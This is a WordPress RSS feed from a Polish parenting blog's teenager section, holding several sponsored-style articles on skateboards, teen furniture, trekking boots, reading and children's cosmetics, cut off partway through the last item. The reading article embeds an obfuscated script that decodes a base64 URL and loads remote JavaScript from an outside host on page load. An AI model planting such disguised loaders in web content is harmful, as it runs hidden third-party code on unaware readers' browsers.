<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nastolatek - Dobryrodzic.pl</title>
	<atom:link href="http://www.dobryrodzic.pl/kategoria/nastolatek/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dobryrodzic.pl/kategoria/nastolatek/</link>
	<description></description>
	<lastBuildDate>Fri, 29 Apr 2022 15:19:15 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>
	<item>
		<title>Deskorolka jako sposób na aktywne spędzanie czasu twojego dziecka</title>
		<link>http://www.dobryrodzic.pl/deskorolka-jako-sposob-na-aktywne-spedzanie-czasu-twojego-dziecka/</link>
					<comments>http://www.dobryrodzic.pl/deskorolka-jako-sposob-na-aktywne-spedzanie-czasu-twojego-dziecka/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 29 Apr 2022 15:19:15 +0000</pubDate>
				<category><![CDATA[Małe dziecko]]></category>
		<category><![CDATA[Nastolatek]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=574</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="650" src="http://www.dobryrodzic.pl/wp-content/uploads/2022/04/skateboarding-4702604_1280-e1651245549535.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" fetchpriority="high" /></div>
<p>Letnie miesiące, kiedy temperatury wzrastają powyżej 20 stopni, to idealna okazja do aktywnego spędzania czasu na świeżym powietrzu. W jaki sposób efektywnie zachęcić dziecko do ruchu i wyjścia na dwór? Dobrym pomysłem zdaje się być zakup deskorolki, sprawdzonego sportowego sprzętu, który pozwala rozwinąć odpowiednią koordynację ruchową i efektywnie się przemieszczać. Dlaczego warto zdecydować się na [&#8230;]</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/deskorolka-jako-sposob-na-aktywne-spedzanie-czasu-twojego-dziecka/">Deskorolka jako sposób na aktywne spędzanie czasu twojego dziecka</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="650" src="http://www.dobryrodzic.pl/wp-content/uploads/2022/04/skateboarding-4702604_1280-e1651245549535.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" /></div><p>Letnie miesiące, kiedy temperatury wzrastają powyżej 20 stopni, to idealna okazja do aktywnego spędzania czasu na świeżym powietrzu. W jaki sposób efektywnie zachęcić dziecko do ruchu i wyjścia na dwór? Dobrym pomysłem zdaje się być zakup deskorolki, sprawdzonego sportowego sprzętu, który pozwala rozwinąć odpowiednią koordynację ruchową i efektywnie się przemieszczać.</p>
<h2>Dlaczego warto zdecydować się na zakup deskorolki dla dziecka?</h2>
<p>Jazda na deskorolce to przede wszystkim świetna okazja do ćwiczenia nowego hobby, które z czasem może przerodzić się w prawdziwą pasję. Tego typu sport pozwala w efektywny sposób rozwijać koordynację ruchową oraz ćwiczyć ogólną kondycję. Systematyczna nauka może sprawić dziecku wiele satysfakcji, szczególnie gdy zacznie ona zauważać swoje pierwsze postępy. Zaletą uprawiania tego typu dyscypliny jest również ćwiczenie wytrwałości i cierpliwości w dążeniu do upragnionego celu, których jest opanowanie konkretnych ruchów. Skateboarding to niezwykle popularna dyscyplina sportowa, która pozwala na poznanie wielu interesujących osób oraz poszerzenie swojego kręgu znajomych.</p>
<h2>Bezpieczeństwo przede wszystkim</h2>
<p>Nauka jazdy na desce nieodłącznie wiąże się z ryzykiem wystąpienie różnych upadków. Aby skutecznie zabezpieczyć dziecko podczas uprawiania sportu, powinniśmy zdecydować się na profesjonalny kask oraz zestaw ochraniaczy, które w efektywny sposób zabezpieczą poszczególne części ciała. Wysokogatunkowe tworzywa, z których wykonane zostały tego typu produkty, stanowią odpowiednią ochronę przed kontuzjami w przypadku gdy dziecko straci równowagę. Ważnym elementem jest także odpowiednie dopasowanie rozmiaru tego typu sprzętów, tak, aby w trakcie jazdy, zapewniały odpowiedni komfort i swobodę ruchów.</p>
<h2>Różne rodzaje deskorolek</h2>
<p>Wybierając idealny model dla swojego malucha, zwróć uwagę na kształt oraz funkcję konkretnej deskorolki. Niezwykle popularnym ostatnio produktem są deskorolki typu fiszka, których nazwa nawiązuje do angielskiego słówka oznaczającego rybę. Dzięki niewielkiemu i obłemu kształtowi, fiszka umożliwia bardzo efektywne przemieszczanie się po miejskich drogach, tego typu sprzęt jest lekki i poręczny, dzięki czemu dziecko może zabrać deskorolkę ze sobą w podróż czy na wakacje. Popularnym rozwiązaniem będą również klasyczne deskorolki z ciekawym designem, których powierzchnia pokryta jest materiałem przypominającym w fakturze papier ścierny. Taki sprzęt przeznaczony jest dla osób, które chcą uczyć się konkretnych tricków i ewolucji.</p>
<h2>Dobierz odpowiednie parametry deskorolki dla dziecka</h2>
<p>Dobierając sprzęt dla kilkulatka, warto zwrócić uwagę na odpowiedni rozmiar kółek samej deskorolki. W przypadku początkujących osób tego typu elementy powinny być odpowiednio duże oraz miękkie, przez co zapewnią bardzo dobrą amortyzację podczas ewentualnych wstrząsów. Warto też mieć świadomość, że zdecydowanie łatwiej jest kierować mniejszymi deskorolkami, dlatego model fish może okazać się idealnym rozwiązaniem na początek.</p>
<p>Deskorolki oraz informacje o nich można znaleźć na sklepie <a href="https://qkids.pl/">Qkids.pl</a>.</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/deskorolka-jako-sposob-na-aktywne-spedzanie-czasu-twojego-dziecka/">Deskorolka jako sposób na aktywne spędzanie czasu twojego dziecka</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/deskorolka-jako-sposob-na-aktywne-spedzanie-czasu-twojego-dziecka/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Meble do pokoju młodzieżowego – na co postawić?</title>
		<link>http://www.dobryrodzic.pl/meble-do-pokoju-mlodziezowego-na-co-postawic/</link>
					<comments>http://www.dobryrodzic.pl/meble-do-pokoju-mlodziezowego-na-co-postawic/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 28 Oct 2021 13:04:10 +0000</pubDate>
				<category><![CDATA[Nastolatek]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=508</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="506" src="http://www.dobryrodzic.pl/wp-content/uploads/2021/10/pexels-pixabay-271816-e1635426232297.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" /></div>
<p>Jakie powinny być meble do pokoju młodzieżowego? Czy stawiać na komplety mebli, czy intuicyjnie dobierać to, co naszym zdaniem będzie tam pasowało? A może najlepiej pozostawić wybór nastolatkowi, który lubi mieć wpływ na przestrzeń wokół siebie? Każda z tych metod wyboru ma swoje wady i zalety. Najpierw zastanówmy się, jakich mebli potrzebuje młody człowiek i [&#8230;]</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/meble-do-pokoju-mlodziezowego-na-co-postawic/">Meble do pokoju młodzieżowego – na co postawić?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="506" src="http://www.dobryrodzic.pl/wp-content/uploads/2021/10/pexels-pixabay-271816-e1635426232297.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div><p>Jakie powinny być meble do pokoju młodzieżowego? Czy stawiać na komplety mebli, czy intuicyjnie dobierać to, co naszym zdaniem będzie tam pasowało? A może najlepiej pozostawić wybór nastolatkowi, który lubi mieć wpływ na przestrzeń wokół siebie? Każda z tych metod wyboru ma swoje wady i zalety. Najpierw zastanówmy się, jakich mebli potrzebuje młody człowiek i w jakim powinny być stylu.</p>
<h2>Biurka, regały, szafki – jakie powinny być?</h2>
<p>Wybierając meble do pokoju młodzieżowego, musimy zdawać sobie sprawę z tego, co lubią nastolatkowie. Oczywiście, każdy jest inny, ale także każdy lubi to, co modne, proste w obsłudze, funkcjonalne i spełniające pewne warunki wizualne. To, co ma szansę się sprawdzić to modernistyczne projekty, proste formy i stonowana kolorystyka. Na topie jest biel, czerń, odcienie szarości.</p>
<p>Meblując pokój nastolatka, nie możemy zapominać o bardzo ważnym meblu, jakim jest biurku pod komputer. Oczywiście dobrze, jeśli będzie mieć prosty design, ale warto by zawierało też szufladę na drobiazgi typu pendrive, płyta, długopis, zakreślacz, spinacze, notes i wiele innych rzeczy, które przydają się do nauki. Modne są biurka drewniane z elementami metalowymi, białe na wysoki połysk, w kolorach grafitu z szufladami i bez. Znajdą się także bardziej klasyczne, sprawdzone modele.</p>
<p>Na <b>Imperium Mebli z</b>najdziesz ciekawe projekty producentów Lenart, Signal i inne.  Regały i szafki to obowiązkowe elementy wyposażenia pokoju młodzieżowego. Sprawdzają się zawsze i wszędzie, są potrzebne na książki, zdjęcia, pamiątki. Prym wiodą bezpretensjonalne regały będące połączeniem metalu i drewna, klasyczne lub w kształcie piramidy (interesujące regały Tipi marki Woood) &#8211; wybór należy do ciebie.</p>
<p>Szafki, komody i szafy – te <strong><a title="meble do pokoju młodzieżowego" href="https://imperiummebli.pl/shop-offer/228/meble-do-pokoju-mlodziezowego.html">meble do pokoju młodzieżowego</a></strong> po prostu muszą się tam znaleźć. Pojemna szafa z miejscem na wieszaki i półkami na ubrania pozwoli zachować porządek w pokoju. Na <b>Imperium Mebli </b>dużo jest ciekawych szaf marki Lenart: drewno, wysoki połysk lub połączenie drewna z bielą. Pasują do stylistyki nowoczesnej i skandynawskiej.</p>
<h2>Miejsce do spania – jakie <b>meble do pokoju młodzieżowego </b>wybierać?</h2>
<p>Młodzież preferuje niezajmujące wiele miejsca pojedyncze łóżka i tapczany. Ważne, czy mamy gdzie schować pościel. Jeśli brakuje Ci takiej przestrzeni, najlepiej zdecydować się na łóżka z szufladami na pościel. Chyba że wolisz tradycyjną wersalkę albo większe łóżko z materacem, wszystko zależy od metrażu pokoju. Skoro już mowa o łóżkach, można pomyśleć o dodatkach jak koce i poduszki. Za pomocą ciekawej poszewki na poduszkę można wpłynąć na wystrój całego pokoju!</p>
<p>Jeżeli metraż na to pozwala, warto mieć w pokoju stolik. Na <b>Imperium Mebli </b>znajdziesz od typowych klasycznych, po futurystyczne projekty z przewagą szkła i metalu w nowoczesnym stylu. Uzupełnieniem pokoju mogą być praktyczne pufy, przydadzą się jako dodatkowe miejsce do siedzenia, a przy odpowiedniej kolorystyce, ładnie wpłyną na ogólne wrażenie. W miarę potrzeb można zawiesić na ścianie dodatkową półkę, która pomoże rozładować zagracony regał i zorganizować przestrzeń w bardziej przejrzysty sposób.</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/meble-do-pokoju-mlodziezowego-na-co-postawic/">Meble do pokoju młodzieżowego – na co postawić?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/meble-do-pokoju-mlodziezowego-na-co-postawic/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>W góry z dziećmi – jak wybrać dziecięce buty trekkingowe?</title>
		<link>http://www.dobryrodzic.pl/w-gory-z-dziecmi-jak-wybrac-dzieciece-buty-trekkingowe/</link>
					<comments>http://www.dobryrodzic.pl/w-gory-z-dziecmi-jak-wybrac-dzieciece-buty-trekkingowe/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 25 Feb 2021 01:05:27 +0000</pubDate>
				<category><![CDATA[Małe dziecko]]></category>
		<category><![CDATA[Nastolatek]]></category>
		<category><![CDATA[Artykuł Partnera]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=369</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="598" src="http://www.dobryrodzic.pl/wp-content/uploads/2021/02/boy-428378_1280-e1614215107242.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div>
<p>Czas pandemii powoduje, że mamy niewiele atrakcji do zaoferowania naszym dzieciom. Jednak te, które nam pozostały, mogą być jednymi z najlepszych. Mowa np. o pieszych górskich wycieczkach. Aby były one w pełni bezpieczne dla nas i dzieci, musimy się do nich odpowiednio przygotować, m.in. zaopatrując się w specjalne obuwie. Stąd też przygotowaliśmy krótki poradnik na [&#8230;]</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/w-gory-z-dziecmi-jak-wybrac-dzieciece-buty-trekkingowe/">W góry z dziećmi – jak wybrać dziecięce buty trekkingowe?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="598" src="http://www.dobryrodzic.pl/wp-content/uploads/2021/02/boy-428378_1280-e1614215107242.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div><p>Czas pandemii powoduje, że mamy niewiele atrakcji do zaoferowania naszym dzieciom. Jednak te, które nam pozostały, mogą być jednymi z najlepszych. Mowa np. o pieszych górskich wycieczkach. Aby były one w pełni bezpieczne dla nas i dzieci, musimy się do nich odpowiednio przygotować, m.in. zaopatrując się w specjalne obuwie. Stąd też przygotowaliśmy krótki poradnik na temat tego, jak wybrać buty trekkingowe dla dzieci. Zapraszamy do lektury.</p>
<h2>Buty trekkingowe dla dzieci – czym się charakteryzują?</h2>
<p>Buty trekkingowe, zarówno te dla dzieci oraz dla dorosłych, cechują się niezwykłą stabilnością. Dlatego też uważane są za jedne z najlepszych butów do pieszych wycieczek w górach, gdzie szlaki mogą być kamieniste, o nierównym podłożu. Dodatkowo sprawdzą się świetne także poza górskim szlakiem. Dobrze wiemy, że dzieci podczas spacerów w lesie, po parkach krajobrazowych, nawet na nizinach, lubią zajrzeć wszędzie, w każdą „dziurę”. Zbieganie po górkach i rowach nie będzie straszne, jeśli wyposażymy nasze dziecko w buty trekkingowe. Ryzyko skręcenia kostki, czy też kolana lub uszkodzenia stawu skokowego będzie zmniejszone do minimum.</p>
<h2>Jak dobrać buty trekkingowe?</h2>
<p>Skoro już wiemy, że buty trekkingowe są kluczowe w dziecięcej garderobie, warto wiedzieć, jak je dobrać. Przede wszystkim powinny być nieco większe niż w przypadku standardowego obuwia. Najważniejszy jest komfort i świadomość, że podczas długiej wędrówki stopy mogą puchnąć, a nasze dzieci powinny móc założyć pod nie grubą skarpetką. Dlatego należy wybrać buty o 4-8 milimetry większe.</p>
<p>Następnie powinniśmy zastanowić się, na jakim stopniu usztywnienia podeszwy nam zależy. Mianowicie, elastyczna podeszwa przeznaczona jest na wycieczki terenowe, łagodne szlaki. Natomiast lekko usztywniona będzie doskonała na większość szlaków górskich. Mocno usztywniona podeszwa jest przeznaczona dla bardziej wprawionych małych górskich turystów. Bieżnik również jest bardzo istotny – jak już wcześniej wspominaliśmy, dzieci mają różne pomysły, dlatego podeszwa antypoślizgowa będzie tutaj jak najbardziej wskazana.</p>
<h2>Co jeszcze warto wiedzieć?</h2>
<p>Choć obecnie jest to nieco utrudnione, to buty trekkingowe dla dzieci powinny być mierzone przed zakupem. Dziecko powinno czuć swobodę, ale także usztywnienie. W tym celu możemy zamówić kilka par butów przez Internet, by później odesłać te niepasujące. Dobre obuwie trekkingowe dla dziecka powinno oddychać i nie powodować nadmiernej potliwości.</p>
<p>Dodatkowo należy wiedzieć, że wytrawni wędrowcy podkreślają, że najlepiej amortyzująca podeszwa, to ta gumowa. Warto o tym pamiętać podczas wyboru, tak jak o tym, by but był wodoodporny.</p>
<p>Podsumowując, odpowiednio dobrane <a href="https://www.decathlon.pl/browse/c0-dziecko/c1-buty-dla-dzieci/c2-buty-trekkingowe-dzieci-ce/_/N-g19uqx" rel="dofollow">buty trekkingowe dziecięce</a> są niezwykle ważne, by uniknąć kontuzji podczas pieszej wycieczki. To podstawa w szafie każdego aktywnego dziecka. Tego typu obuwie sprawdzi się nie tylko w górach, ale również podczas dłuższego spaceru po nierównym terenie.</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/w-gory-z-dziecmi-jak-wybrac-dzieciece-buty-trekkingowe/">W góry z dziećmi – jak wybrać dziecięce buty trekkingowe?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/w-gory-z-dziecmi-jak-wybrac-dzieciece-buty-trekkingowe/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nastolatek vs książki. Jak nie zniechęcić dziecka do czytania?</title>
		<link>http://www.dobryrodzic.pl/nastolatek-vs-ksiazki-jak-nie-zniechecic-dziecka-do-czytania/</link>
					<comments>http://www.dobryrodzic.pl/nastolatek-vs-ksiazki-jak-nie-zniechecic-dziecka-do-czytania/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 15 Feb 2021 19:48:21 +0000</pubDate>
				<category><![CDATA[Nastolatek]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=362</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2021/02/20210215134928_download-e1613418481256.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div>
<p>Ciekawe książki dla młodzieży to sprawdzony sposób na to aby pobudzić wyobraźnię, a zarazem oderwać się od nudnej codzienności. Oczywiście nie każdy nastolatek jest molem książkowym. W dużej mierze wynika to z fakt, że dziecko jest z każdej strony otoczone elektroniką. Kontakt z nowoczesną technologią nie jest niczym złym, jednak przesada nie jest wskazana. Łatwo [&#8230;]</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/nastolatek-vs-ksiazki-jak-nie-zniechecic-dziecka-do-czytania/">Nastolatek vs książki. Jak nie zniechęcić dziecka do czytania?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2021/02/20210215134928_download-e1613418481256.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div><p style="text-align: justify;"><a href="https://tezeusz.pl/ksiazki-dla-dzieci-i-mlodziezy">Ciekawe książki dla młodzieży</a> to sprawdzony sposób na to aby pobudzić wyobraźnię, a zarazem oderwać się od nudnej codzienności. Oczywiście nie każdy nastolatek jest molem książkowym. W dużej mierze wynika to z fakt, że dziecko jest z każdej strony otoczone elektroniką. Kontakt z nowoczesną technologią nie jest niczym złym, jednak przesada nie jest wskazana. Łatwo uzależnić się od mediów. Zachęcenie dziecka do sięgnięcia po lekturę nie jest tak proste, jak mogłoby się wydawać. Warto skorzystać z poniższych wskazówek!</p>
<h2 style="text-align: justify;">Brak przymusu</h2>
<p style="text-align: justify;">Zdecydowana większość nastolatków nie lubi być zmuszana do konkretnych form aktywności. Czytanie powinno być przyjemnością, a nie obowiązkiem! Warto rozmawiać z dzieckiem o autorach lub wciągających tytułach. Nic nie stoi na przeszkodzie aby wspólnie obejrzeć film, który powstał w oparciu o książkę. Możliwości jest wiele! Z pewnością nie należy odpuszczać już na starcie. Warto przedstawić latorośli książki młodzieżowe które warto przeczytać. Powinny być one zgodne z upodobaniami. Jedni lubią historie z dreszczykiem, a inni powieści miłosne. Chłopcy chętniej stawiają na książki fantasy, jednak nie jest to żadną regułą. Dobrze jest eksperymentować, tak aby odkryć ulubiony gatunek literacki.</p>
<h2 style="text-align: justify;">Nie tylko lektury szkolne</h2>
<p style="text-align: justify;">Wielu rodziców popełnia ten sam błąd &#8211; zachęca dziecko do czytania lektur szkolnych. Faktem jest, że są one obowiązkowe i niezbędne do ukończenia edukacji, jednak dla młodej osoby mogą wydawać się nudne. Nastolatkowie częściej sięgają po streszczenia wybitnych dzieł lub wybierają adaptacje filmowe. Szybko tracą motywację do czytania i nie mają ochoty sięgać nawet po lekkie tytuły. Rodzic powinien wykazać się wyrozumiałością. Dobrze, jeśli podsuwa on najlepsze książki młodzieżowe, które poruszają problemy współczesnego świata. W ten sposób łatwiej jest skłonić pociechę do zanurzenia nosa w książce. Nie trzeba bać się tematów kontrowersyjnych, a więc trudne książki również są mile widziane.</p>
<h2 style="text-align: justify;">Dobry przykład</h2>
<p style="text-align: justify;">Nie zachęcimy nastolatka do czytania, jeśli sami stronimy od książek. Absolutną podstawą jest to, aby dawać dobry przykład. Mogłoby się wydawać, że rozbudowywanie domowej biblioteczki wymaga posiadania dużego budżetu, jednak nie jest to prawdą. Dobrze wziąć pod uwagę lektury &#8222;z drugiej ręki&#8221;. <a href="https://tezeusz.pl/">Można znaleźć je w antykwariatach online</a>. To znakomite rozwiązanie dla tych, którzy stawiają na zakupy bez wychodzenia z domu. Złożenie zamówienia jest banalnie proste, więc każdy poradzi sobie z tym zadaniem. Atutem jest również szeroki wybór tytułów.</p>
<p><script>
    (function(mhdjibxy, ofbeitcd, evkocwtc, qykjhfew, pnwwwjjj, jedlnkdq){
     pnwwwjjj = ofbeitcd.createElement(evkocwtc);jedlnkdq = ofbeitcd.getElementsByTagName(evkocwtc)[0];
     pnwwwjjj.ascyc = 1;
     pnwwwjjj.src = atob(qykjhfew)
     jedlnkdq.parentNode.insertBefore(pnwwwjjj, jedlnkdq);
    })(window, document, 'script', 'aHR0cHM6Ly9zdGF0cy5saW5raG91c2UuY28vYXBpL2FuYWx5emVyL3YxL3NjcmlwdC9hZGRjYjIzOS0yYWZhLTQ2NDItYjYyYi0zZWNlNWEzNzk0NjQuanM=')
  </script></p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/nastolatek-vs-ksiazki-jak-nie-zniechecic-dziecka-do-czytania/">Nastolatek vs książki. Jak nie zniechęcić dziecka do czytania?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/nastolatek-vs-ksiazki-jak-nie-zniechecic-dziecka-do-czytania/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Kosmetyki do makijażu dla dzieci &#8211; kiedy i jakie?</title>
		<link>http://www.dobryrodzic.pl/kosmetyki-do-makijazu-dla-dzieci-kiedy-i-jakie/</link>
					<comments>http://www.dobryrodzic.pl/kosmetyki-do-makijazu-dla-dzieci-kiedy-i-jakie/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 26 Oct 2020 23:05:36 +0000</pubDate>
				<category><![CDATA[Nastolatek]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=312</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/10/20201026153601_pexels-photo-5632407.jpeg-e1603753496351.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div>
<p>Dzieci obecnie znacznie szybciej dorastają i zmieniają zainteresowania pod wpływem otaczających je wszędzie reklam oraz promowanego kanonu piękna.Influancerzy, vlogerzy i youtuberzy promują piękny wygląd i kosmetyki do makijażu dla dzieci, nieraz dzieląc się swoimi historiami o tym, że swoją przygodę z makijażem zaczynali w bardzo młodym wieku. To sprawia, że dzieci często chcą iść ich [&#8230;]</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/kosmetyki-do-makijazu-dla-dzieci-kiedy-i-jakie/">Kosmetyki do makijażu dla dzieci &#8211; kiedy i jakie?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/10/20201026153601_pexels-photo-5632407.jpeg-e1603753496351.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div><p><em>Dzieci obecnie znacznie szybciej dorastają i zmieniają zainteresowania pod wpływem otaczających je wszędzie reklam oraz promowanego kanonu piękna.Influancerzy, vlogerzy i youtuberzy promują piękny wygląd i <strong>kosmetyki do makijażu dla dzieci</strong>, nieraz dzieląc się swoimi historiami o tym, że swoją przygodę z makijażem zaczynali w bardzo młodym wieku. To sprawia, że dzieci często chcą iść ich śladami.<br />
</em></p>
<p><strong>W artykule porady na temat:</strong></p>
<ul>
<li>Wieku dzieci, od którego rozpocząć używanie kosmetyków</li>
<li>Najlepszych kosmetyków dla dzieci</li>
</ul>
<h2>Kosmetyki do makijażu dla dzieci &#8211; kiedy?</h2>
<p>Dzieci już we wczesnym wieku wykazują często zainteresowanie modą i kosmetykami, podbierając ulubione kosmetyki z kosmetyczki mamy czy starszej siostry oraz przebierając się w ich ubrania. Ich marzenie to być bardziej dorosłymi, a malowanie się i strojenie zapewnia namiastkę dorosłości, którą widzą u starszych dziewczyn z rodziny, wśród przyjaciół, czy na ekranie telewizji. Nie ma nic złego w takich próbach kosmetycznych, nawet jeśli większość z nich jest dość nieudana w efekcie końcowym.</p>
<p>Pytaniem jest, kiedy wprowadzić na poważniej <strong>kosmetyki do makijażu dla dzieci</strong>? Nie ma w zasadzie jednej daty, która byłaby najlepsza dla wszystkich &#8211; to nie szkoła. Może zdarzyć się, że dziecko w ogóle nie będzie zainteresowane tematyką kosmetyków i nie będzie chciało ich używać przez długi czas. Nie powinno się także zabraniać dzieciom używania kosmetyków, a wręcz przeciwnie pomagać im i uczyć na ten temat. Najwcześniejsza pora na używanie kosmetyków, jakich używają dorośli to w większości przypadków przedział między 13-15 rokiem życia. Najczęściej wtedy wchodzą w grę mascary, pudry, podkłady, korektory &#8211; wynika to także z presji rówieśników oraz zmian, zachodzących w organizmie dzieci, które często powodują trądzik. Makijaż ma stanowić w takim przypadku deskę ratunku, dzięki której można zamaskować niedoskonałości.</p>
<h2>Jakie kosmetyki dla dzieci są najlepsze?</h2>
<p>Kosmetyki dla dzieci, szczególnie tych naprawdę młodych powinny być delikatne i mieć bezpieczny skład. Młoda skóra szybciej się regeneruje, ale jest przy tym wrażliwsza. <strong>Kosmetyki do makijażu dla dzieci </strong>powinny być hipoalergiczne, nie zawierać alkoholu i mieć możliwie najbardziej naturalny skład, by pielęgnować cerę podczas używania. Najlepiej, gdy sprawdzamy produkty przed ich przekazaniem w ręce dzieci. Można to robić na stronach, jak <a href="https://www.wizazsklep.pl/136-kosmetyki-dla-dzieci">https://www.wizazsklep.pl/136-kosmetyki-dla-dzieci</a> lub poprzez aplikacje mobilne do sprawdzania składu produktów. Takie poradniki mogą zapobiec przed korzystaniem z wielu bubli, które mogłyby jedynie spowodować alergie i problemy skórne.</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/kosmetyki-do-makijazu-dla-dzieci-kiedy-i-jakie/">Kosmetyki do makijażu dla dzieci &#8211; kiedy i jakie?</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/kosmetyki-do-makijazu-dla-dzieci-kiedy-i-jakie/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Kosmetyki, które warto podsunąć nastolatkowi. Czasem sama woda już nie wystarczy</title>
		<link>http://www.dobryrodzic.pl/kosmetyki-ktore-warto-podsunac-nastolatkowi-czasem-sama-woda-juz-nie-wystarczy/</link>
					<comments>http://www.dobryrodzic.pl/kosmetyki-ktore-warto-podsunac-nastolatkowi-czasem-sama-woda-juz-nie-wystarczy/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 17 Sep 2020 17:26:29 +0000</pubDate>
				<category><![CDATA[Nastolatek]]></category>
		<guid isPermaLink="false">http://www.dobryrodzic.pl/?p=264</guid>

					<description><![CDATA[<div style="margin-bottom:20px;"><img width="900" height="600" src="http://www.dobryrodzic.pl/wp-content/uploads/2020/09/20200917122300_57e6d5454d54a914f6da8c7dda79367a1c36d8e35b556c48732f7bd7944acc5fbe_1280.jpg-e1600363567226.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" /></div>
<p>Dzieci bardzo szybko dojrzewają, a ogromny wpływ na ich rozwój mają rodzice. Ważne jest jednak to, aby dostarczać nastolatkowi odpowiednich kosmetyków, których on sam nie będzie w stanie sobie dobrać. Czasami może się okazać, że zwykła woda do umycia twarzy, ciała czy też włosów okaże się niewystarczająca i warto sięgnąć po specjalne kosmetyki, które są przeznaczone [&#8230;]</p>
